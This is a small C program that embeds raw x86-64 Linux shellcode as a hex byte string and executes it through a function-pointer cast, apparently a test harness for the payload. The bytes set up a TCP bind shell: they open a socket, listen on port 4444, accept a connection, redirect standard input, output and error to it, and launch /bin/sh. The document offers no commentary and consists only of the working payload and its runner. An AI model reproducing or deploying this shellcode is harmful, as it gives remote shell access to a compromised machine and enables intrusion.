#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x48\xb8\x29\x00\x00\x00\x00\x00\x00\x00\x48\xbf\x02\x00\x00\x00\x00\x00\x00\x00\x48\xbe\x01\x00\x00\x00\x00\x00\x00\x00\x48\xba\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\x89\x44\x24\xfc\x66\xc7\x44\x24\xfa\x11\x5c\x66\xc7\x44\x24\xf8\x02\x00\x48\x83\xec\x08\x48\xb8\x31\x00\x00\x00\x00\x00\x00\x00\x48\x89\xe6\x48\xba\x10\x00\x00\x00\x00\x00\x00\x00\x0f\x05\x48\xb8\x32\x00\x00\x00\x00\x00\x00\x00\x48\xbe\x02\x00\x00\x00\x00\x00\x00\x00\x0f\x05\x48\xb8\x2b\x00\x00\x00\x00\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe6\xc6\x44\x24\xff\x10\x48\x83\xec\x01\x48\x89\xe2\x0f\x05\x49\x89\xc1\x48\xb8\x03\x00\x00\x00\x00\x00\x00\x00\x0f\x05\x4c\x89\xcf\x48\xb8\x21\x00\x00\x00\x00\x00\x00\x00\x48\xbe\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x05\x48\xb8\x21\x00\x00\x00\x00\x00\x00\x00\x48\xbe\x01\x00\x00\x00\x00\x00\x00\x00\x0f\x05\x48\xb8\x21\x00\x00\x00\x00\x00\x00\x00\x48\xbe\x02\x00\x00\x00\x00\x00\x00\x00\x0f\x05\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

main()
{

	printf("Shellcode Length:  %d\n", (int)strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

	
